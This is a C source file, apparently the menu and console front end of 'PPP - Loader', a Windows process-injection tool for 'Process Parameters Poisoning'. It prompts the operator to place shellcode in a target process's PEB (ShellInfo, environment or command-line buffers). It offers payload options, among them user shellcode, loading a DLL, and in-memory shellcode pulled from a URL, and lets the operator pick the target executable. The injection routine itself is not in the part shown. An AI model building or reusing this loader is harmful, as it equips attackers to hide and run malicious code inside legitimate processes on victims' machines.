/** * Authors: Max Hirschberger & Ogulcan Ugur * Project: Process Parameter Poisoning * Notes: Built with ❤️ and undefined behavior. */ #include #include const WORD ORANGE = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY; static const char* kAuthors = "Authors: Max Hirschberger & Ogulcan Ugur — keep calm and code on."; // Setting fancy colors void SetColor(int color) { HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); SetConsoleTextAttribute(hConsole, color); } static void PrintHeader(const char* title) { printf("\n=================================================================\n"); printf(" %s\n", title); printf("=================================================================\n\n"); } void PrintLogo() { wprintf(L"\x1b[2J\x1b[3J"); printf("\n"); printf("+=================================================+\n"); printf("| PPP - Loader |\n"); printf("| |\n"); printf("| Process Parameters Poisoning |\n"); printf("| |\n"); printf("| Created by: Max Hirschberger & Ogulcan Ugur |\n"); printf("| Version: 1.0 |\n"); printf("| |\n"); printf("+=================================================+\n\n"); } void ShowFunctionMenu(unsigned int* choice, unsigned int* shellExecutionChoice, char* dllPath, wchar_t* lpApplication) { unsigned int useDefaultApp = 1; do { SetColor(ORANGE); PrintHeader("PEB Shellcode Placement"); printf("\n[?] Choose where to place the shellcode in the PEB (Process Environment Block):\n\n"); printf(" 1) ShellInfo (PEB->ProcessParameters->ShellInfo.Buffer)\n"); printf(" 2) Environment Variable (PEB->ProcessParameters->Environment)\n"); printf(" 3) Command Line (PEB->ProcessParameters->CommandLine.Buffer)\n"); printf("\n[>] Enter selection (1-3): "); scanf_s("%u", choice); if (*choice < 1 || *choice > 3) { SetColor(FOREGROUND_RED); printf("[-] Invalid choice. Please try again.\n\n"); } } while (*choice < 1 || *choice > 3); printf("[+] You selected option %u\n", *choice); do { SetColor(ORANGE); PrintHeader("Function Method"); printf("[?] Choose function method:\n\n"); printf(" 1) Demo: show a MessageBox\n"); printf(" 2) User-supplied shellcode (null bytes supported)\n"); printf(" 3) Load DLL via shellcode (DLL must exist on disk)\n"); printf(" 4) In-memory shellcode from URL\n"); printf("\n[>] Enter selection (1-4): "); scanf_s("%u", shellExecutionChoice); if (*shellExecutionChoice < 1 || *shellExecutionChoice > 4) { SetColor(FOREGROUND_RED); printf("[-] Invalid choice. Please try again.\n\n"); } } while (*shellExecutionChoice < 1 || *shellExecutionChoice > 4); printf("\n[+] You selected option %u\n", *shellExecutionChoice); if (*shellExecutionChoice == 3) { printf("\n[*] Example: C:\\Users\\sample.dll "); printf("\n[!] Please enter full path to DLL: "); scanf_s("%s", dllPath, MAX_PATH); } do { SetColor(ORANGE); PrintHeader("Target Application"); wprintf(L"[?] Current default application is: %s\n", lpApplication); printf("[?] Would you like to change the default application used for shell/DLL launching?\n"); printf(" 1) Keep default\n"); printf(" 2) Change application path\n"); printf("\n[>] Enter selection (1-2): "); scanf_s("%u", &useDefaultApp); } while (useDefaultApp < 1 || useDefaultApp > 2); if (useDefaultApp == 2) { wprintf(L"\n[!] Please enter full path to Executable: "); wscanf_s(L" %259[^\n]", lpApplication, MAX_PATH); getwchar(); } }